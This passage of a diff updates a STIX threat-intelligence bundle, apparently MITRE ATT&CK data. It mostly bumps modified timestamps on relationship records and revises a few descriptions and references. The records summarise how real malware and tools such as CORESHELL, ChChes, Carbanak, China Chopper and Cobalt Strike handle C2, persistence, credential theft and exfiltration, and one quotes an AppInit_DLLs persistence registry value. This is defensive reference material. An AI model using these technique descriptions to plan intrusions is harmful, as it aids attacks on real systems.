             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "CHOPSTICK encrypts C2 communications with RC4 as well as TLS.",
             "source_ref": "malware--ccd61dfc-b03f-4689-8c18-7c97eab08472",
@@ -36546,7 +42848,7 @@
             "id": "relationship--101867a2-149c-4088-a90f-7af4b86e5013",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "CHOPSTICK can switch to a new C2 channel if the current one is broken.",
             "source_ref": "malware--ccd61dfc-b03f-4689-8c18-7c97eab08472",
@@ -36567,7 +42869,7 @@
             "id": "relationship--252c0e02-0da6-4812-b147-81d9cfb3c998",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "CHOPSTICK used a proxy server between victims and the C2 server.",
             "source_ref": "malware--ccd61dfc-b03f-4689-8c18-7c97eab08472",
@@ -36588,7 +42890,7 @@
             "id": "relationship--9b88372d-4f3f-4442-906d-9ab07e22e781",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "CORESHELL contains unused machine instructions in a likely attempt to hinder analysis.",
             "source_ref": "malware--60c18d06-7b91-4742-bae3-647845cd9d81",
@@ -36609,7 +42911,7 @@
             "id": "relationship--e6f5bde4-869f-4c9a-9414-11ea48386204",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "CORESHELL obfuscates strings using a custom stream cipher.",
             "source_ref": "malware--60c18d06-7b91-4742-bae3-647845cd9d81",
@@ -36630,7 +42932,7 @@
             "id": "relationship--e41ab3e7-2b69-4461-a693-e53a24c9ab59",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "CORESHELL downloads another dropper from its C2 server.",
             "source_ref": "malware--60c18d06-7b91-4742-bae3-647845cd9d81",
@@ -36651,7 +42953,7 @@
             "id": "relationship--5301c007-7c00-4b4d-b355-864db8de052f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "CORESHELL collects hostname, volume serial number and OS version data from the victim and sends the information to its C2 server.",
             "source_ref": "malware--60c18d06-7b91-4742-bae3-647845cd9d81",
@@ -36672,7 +42974,7 @@
             "id": "relationship--35d35ecf-1326-4690-b105-23280e29c120",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "CORESHELL C2 messages are Base64-encoded.",
             "source_ref": "malware--60c18d06-7b91-4742-bae3-647845cd9d81",
@@ -36693,7 +42995,7 @@
             "id": "relationship--f4e53b40-abcf-4157-9e53-4ab9632619f1",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "CORESHELL C2 messages are encrypted with custom stream ciphers using six-byte or eight-byte keys.",
             "source_ref": "malware--60c18d06-7b91-4742-bae3-647845cd9d81",
@@ -36714,7 +43016,7 @@
             "id": "relationship--167e1e15-1fe1-4073-aac1-062557fdd79f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "CORESHELL can communicate over HTTP, SMTP, and POP3 for C2.",
             "source_ref": "malware--60c18d06-7b91-4742-bae3-647845cd9d81",
@@ -36740,7 +43042,7 @@
             "id": "relationship--ccc38b61-c517-4186-909a-760f12ef65e8",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "CORESHELL is installed via execution of rundll32 with an export named \"init\" or \"InitW.\"",
             "source_ref": "malware--60c18d06-7b91-4742-bae3-647845cd9d81",
@@ -36761,7 +43063,7 @@
             "id": "relationship--dcc2c503-25dc-47bb-b9cb-35ce27e73cd2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "CORESHELL has established persistence by creating autostart extensibility point (ASEP) Registry entries in the Run key and other Registry keys, as well as by creating shortcuts in the Internet Explorer Quick Start folder.",
             "source_ref": "malware--60c18d06-7b91-4742-bae3-647845cd9d81",
@@ -36782,7 +43084,7 @@
             "id": "relationship--5c6b3fda-2eec-4c7a-af09-5f880f260085",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Cachedump can extract cached password hashes from a system\u2019s registry.",
             "source_ref": "tool--c9cd7ec9-40b7-49db-80be-1399eddd9c52",
@@ -36803,7 +43105,7 @@
             "id": "relationship--bf8ae26c-c28c-4de7-a3e2-ad1a2851c1c0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "CallMe uses AES to encrypt C2 traffic.",
             "source_ref": "malware--cb7bcf6f-085f-41db-81ee-4b68481661b5",
@@ -36824,7 +43126,7 @@
             "id": "relationship--bdd64378-e348-4156-8490-528392c6ea82",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "CallMe has the capability to download a file to the victim from the C2 server.",
             "source_ref": "malware--cb7bcf6f-085f-41db-81ee-4b68481661b5",
@@ -36845,7 +43147,7 @@
             "id": "relationship--c3d3bb7d-65cc-4915-bc28-492d341e6dbd",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "CallMe has the capability to create a reverse shell on victims.",
             "source_ref": "malware--cb7bcf6f-085f-41db-81ee-4b68481661b5",
@@ -36866,7 +43168,7 @@
             "id": "relationship--dbb1d0eb-c7ee-4794-80d4-66e6281cbc63",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "CallMe exfiltrates data to its C2 server over the same protocol as C2 communications.",
             "source_ref": "malware--cb7bcf6f-085f-41db-81ee-4b68481661b5",
@@ -36887,7 +43189,7 @@
             "id": "relationship--210f5206-8763-48ac-a4c3-a08440892b5d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The Carbanak malware communicates to its command server using HTTP with an encrypted payload.",
             "source_ref": "malware--72f54d66-675d-4587-9bd3-4ed09f9522e4",
@@ -36908,7 +43210,7 @@
             "id": "relationship--a9bd68ed-2602-4225-838e-2d9b7f8761b4",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Carbanak encrypts the message body of HTTP traffic with RC2 and Base64 encoding.",
             "source_ref": "malware--72f54d66-675d-4587-9bd3-4ed09f9522e4",
@@ -36929,7 +43231,7 @@
             "id": "relationship--82384148-90fd-4bfa-a734-e9c8b37b584f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Carbanak contains keylogger functionality.",
             "source_ref": "malware--72f54d66-675d-4587-9bd3-4ed09f9522e4",
@@ -36950,7 +43252,7 @@
             "id": "relationship--fe0c8388-46fb-4064-9837-56a23339ffaa",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "ChChes samples were digitally signed with a certificate originally used by Hacking Team that was later leaked and subsequently revoked.",
             "source_ref": "malware--dc5d1a33-62aa-4a0c-aa8c-589b87beb11e",
@@ -36981,7 +43283,7 @@
             "id": "relationship--a08dadbf-6f68-415f-9daa-f84571af83a2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "ChChes collects the victim computer name.",
             "source_ref": "malware--dc5d1a33-62aa-4a0c-aa8c-589b87beb11e",
@@ -37002,9 +43304,9 @@
             "id": "relationship--a802d52a-01f4-44c8-b80d-d2c746e1e31d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
-            "description": "ChChes identifies the file path for the %TEMP% director and sets its current working directory to that path.",
+            "description": "ChChes collects the victim's %TEMP% directory path and version of Internet Explorer.",
             "source_ref": "malware--dc5d1a33-62aa-4a0c-aa8c-589b87beb11e",
             "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
             "object_marking_refs": [
@@ -37012,9 +43314,9 @@
             ],
             "external_references": [
                 {
-                    "source_name": "Palo Alto menuPass Feb 2017",
-                    "description": "Miller-Osborn, J. and Grunzweig, J.. (2017, February 16). menuPass Returns with New Malware and New Attacks Against Japanese Academics and Organizations. Retrieved March 1, 2017.",
-                    "url": "http://researchcenter.paloaltonetworks.com/2017/02/unit42-menupass-returns-new-malware-new-attacks-japanese-academics-organizations/"
+                    "source_name": "FireEye APT10 April 2017",
+                    "description": "FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.",
+                    "url": "https://www.fireeye.com/blog/threat-research/2017/04/apt10%20menupass%20grou.html"
                 }
             ]
         },
@@ -37023,7 +43325,7 @@
             "id": "relationship--e6f69552-fe0e-4b40-ad20-4410048277e6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "ChChes collects its process identifier (PID) on the victim.",
             "source_ref": "malware--dc5d1a33-62aa-4a0c-aa8c-589b87beb11e",
@@ -37044,7 +43346,7 @@
             "id": "relationship--03c9b56e-f006-43b2-ac98-bcbe0c05e979",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "ChChes communicates to its C2 server over HTTP and embeds data within the Cookie HTTP header.",
             "source_ref": "malware--dc5d1a33-62aa-4a0c-aa8c-589b87beb11e",
@@ -37070,7 +43372,7 @@
             "id": "relationship--6586cae6-bf7a-4b1d-ab5c-53106d1db5c4",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "ChChes can encrypt C2 data with a custom technique using MD5, base64-encoding, and RC4.",
             "source_ref": "malware--dc5d1a33-62aa-4a0c-aa8c-589b87beb11e",
@@ -37096,7 +43398,7 @@
             "id": "relationship--e376d1ed-a35a-47c1-98c6-4d37f52b1b84",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "ChChes can encrypt C2 traffic with AES.",
             "source_ref": "malware--dc5d1a33-62aa-4a0c-aa8c-589b87beb11e",
@@ -37122,7 +43424,7 @@
             "id": "relationship--92c901ce-5edb-417f-8af5-d569203e241c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "ChChes is capable of downloading files, including additional modules.",
             "source_ref": "malware--dc5d1a33-62aa-4a0c-aa8c-589b87beb11e",
@@ -37153,7 +43455,7 @@
             "id": "relationship--9bc7f2ff-7ba1-42f4-9e96-2112e99ab12a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "ChChes steals credentials stored inside Internet Explorer.",
             "source_ref": "malware--dc5d1a33-62aa-4a0c-aa8c-589b87beb11e",
@@ -37174,7 +43476,7 @@
             "id": "relationship--2ade8c03-2395-4175-9a22-8541836f27cd",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "ChChes can alter the victim's proxy configuration.",
             "source_ref": "malware--dc5d1a33-62aa-4a0c-aa8c-589b87beb11e",
@@ -37195,7 +43497,7 @@
             "id": "relationship--e68684df-28b4-4f06-b553-cacf14866605",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "ChChes copies itself to an .exe file with a filename that is likely intended to imitate Norton Antivirus but has several letters reversed (e.g. notron.exe).",
             "source_ref": "malware--dc5d1a33-62aa-4a0c-aa8c-589b87beb11e",
@@ -37216,7 +43518,7 @@
             "id": "relationship--2e44b66a-0f81-4f60-94aa-c450556bc243",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "ChChes establishes persistence by adding a Registry Run key.",
             "source_ref": "malware--dc5d1a33-62aa-4a0c-aa8c-589b87beb11e",
@@ -37237,7 +43539,7 @@
             "id": "relationship--cb4af413-9bd7-4f1a-a693-57d11ffccbf5",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Some variants of Cherry Picker use AppInit_DLLs to achieve persistence by creating the following Registry key: <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows \"AppInit_DLLs\"=\"pserver32.dll\"</code>",
             "source_ref": "malware--b2203c59-4089-4ee4-bfe1-28fa25f0dbfe",
@@ -37258,7 +43560,7 @@
             "id": "relationship--171380bf-41ff-43da-86fe-c131f5f7b97b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Recent versions of Cherry Picker delete files and registry keys created by the malware.",
             "source_ref": "malware--b2203c59-4089-4ee4-bfe1-28fa25f0dbfe",
@@ -37279,7 +43581,7 @@
             "id": "relationship--ed2c177c-18fc-4bfd-9169-48af1557a542",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Cherry Picker exfiltrates files over FTP.",
             "source_ref": "malware--b2203c59-4089-4ee4-bfe1-28fa25f0dbfe",
@@ -37300,7 +43602,7 @@
             "id": "relationship--bea7bd3c-1251-4858-8957-a6dc3bb840d2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The China Chopper backdoor is a Web shell that supports server payloads for many different kinds of server-side scripting languages and contains functionality to access files, connect to a database, and open a virtual command prompt.",
             "source_ref": "malware--5a3a31fe-5a8f-48e1-bff0-a753e5b1be70",
@@ -37321,7 +43623,7 @@
             "id": "relationship--19be6ce1-8eea-47ff-b87c-3358d390454d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "China Chopper is capable of opening a command terminal.",
             "source_ref": "malware--5a3a31fe-5a8f-48e1-bff0-a753e5b1be70",
@@ -37342,7 +43644,7 @@
             "id": "relationship--41edf1d6-15a7-4da5-9bfd-ebee9d53f71e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "One variant of CloudDuke uses HTTP and HTTPS for C2.",
             "source_ref": "malware--cbf646f1-7db5-4dc6-808b-0094313949df",
@@ -37363,7 +43665,7 @@
             "id": "relationship--5ebd97d4-1979-40b2-b38b-b6ed44a2f32f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "One variant of CloudDuke uses a Microsoft OneDrive account to exchange commands and stolen data with its operators.",
             "source_ref": "malware--cbf646f1-7db5-4dc6-808b-0094313949df",
@@ -37384,7 +43686,7 @@
             "id": "relationship--800825f5-6e74-43ad-a732-476fdf471225",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "CloudDuke downloads and executes additional malware from either a Web address or a Microsoft OneDrive account.",
             "source_ref": "malware--cbf646f1-7db5-4dc6-808b-0094313949df",
@@ -37405,7 +43707,7 @@
             "id": "relationship--8924eb12-0841-48ca-9d36-69de932b1f21",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Cobalt Strike uses a custom command and control protocol that communicates over commonly used ports.  The C2 protocol is encapsulated in common application layer protocols.",
             "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39",
@@ -37426,7 +43728,7 @@
             "id": "relationship--5909e6e9-c620-4278-9bdc-113f09e5799b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Cobalt Strike uses a custom command and control protocol that is encapsulated in HTTP, HTTPS, or DNS.  In addition, it conducts peer-to-peer communication over Windows named pipes encapsulated in the SMB protocol.  All protocols use their standard assigned ports.",
             "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39",
@@ -37447,7 +43749,7 @@
             "id": "relationship--e873321b-0d76-4cd6-bc46-8231cfcdeba0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Cobalt Strike allows adversaries to modify the way the \"beacon\" payload communicates.  This is called \"Malleable C2\" in the Cobalt Strike manual and is intended to allow a penetration test team to mimic known APT C2 methods.",
             "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39",
@@ -37473,7 +43775,7 @@
             "id": "relationship--290c0a54-2702-4d6e-97db-1eafa9a7a1f3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Cobalt Strike's \"beacon\" payload can receive C2 from one protocol and respond on another.  This is typically a mixture of HTTP, HTTPS, and DNS traffic.",
             "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39",
@@ -37494,7 +43796,7 @@
             "id": "relationship--d13aaa09-5465-4439-b100-444242601a98",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Cobalt Strike can be configured to have commands relayed over a peer-to-peer network of infected hosts.  This can be used to limit the number of egress points, or provide access to a host without direct internet access.",
             "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39",
@@ -37515,7 +43817,7 @@
             "id": "relationship--033d168d-8348-47ad-af48-d297dc0d1dbb",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Cobalt Strike can set its \"beacon\" payload to reach out to the C2 server on an arbitrary and random interval.  In addition it will break large data sets into smaller chunks for exfiltration.",
             "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39",
@@ -37536,7 +43838,7 @@
             "id": "relationship--aa243e70-fba4-4f8a-8b5e-1ac826eac593",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Cobalt Strike can inject a variety of payloads into processes dynamically chosen by the adversary.",
             "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39",
@@ -37557,7 +43859,7 @@
             "id": "relationship--2c417522-9fa6-4f95-b9d6-062c9c2401b5",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Cobalt Strike's \"beacon\" payload can collect information on process details.",
             "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39",
@@ -37578,7 +43880,7 @@
             "id": "relationship--3cb99d8e-8a3d-47ed-b4b7-e217cea48013",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Cobalt Strike can start a VNC-based remote desktop server and tunnel the connection through the already established C2 channel.",
             "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39",
@@ -37592,9 +43894,9 @@
             "id": "relationship--d26a9de1-0ec7-41dd-94fe-21a51bedf37f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
-            "description": "Cobalt Strike can use PsExec to execute a payload on a remote host.",
+            "description": "Cobalt Strike can use PsExec to execute a payload on a remote host. It can also use Service Control Manager to start new services.",
             "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39",
             "target_ref": "attack-pattern--f44731de-ea9f-406d-9b83-30ecbb9b4392",
             "object_marking_refs": [
@@ -37605,6 +43907,11 @@
                     "source_name": "cobaltstrike manual",
                     "description": "Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.",
                     "url": "https://cobaltstrike.com/downloads/csmanual38.pdf"
+                },
+                {
+                    "source_name": "Cobalt Strike TTPs Dec 2017",
+                    "description": "Cobalt Strike. (2017, December 8). Tactics, Techniques, and Procedures. Retrieved December 20, 2017.",
+                    "url": "https://www.cobaltstrike.com/downloads/reports/tacticstechniquesandprocedures.pdf"
                 }
             ]
         },
@@ -37613,7 +43920,7 @@
             "id": "relationship--6863078f-fe93-4b84-ad7f-dffe494d9265",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Cobalt Strike can steal access tokens from exiting processes and make tokens from known credentials.",
             "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39",
@@ -37634,7 +43941,7 @@
             "id": "relationship--26af1f3f-806e-45bd-860a-2eead8af7d3e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Cobalt Strike can use known credentials to run commands and spawn processes as another user.",
             "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39",
@@ -37655,7 +43962,7 @@
             "id": "relationship--6dc0543b-1a60-4e9a-9527-595220854f53",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Cobalt Strike can recover hashed passwords.",
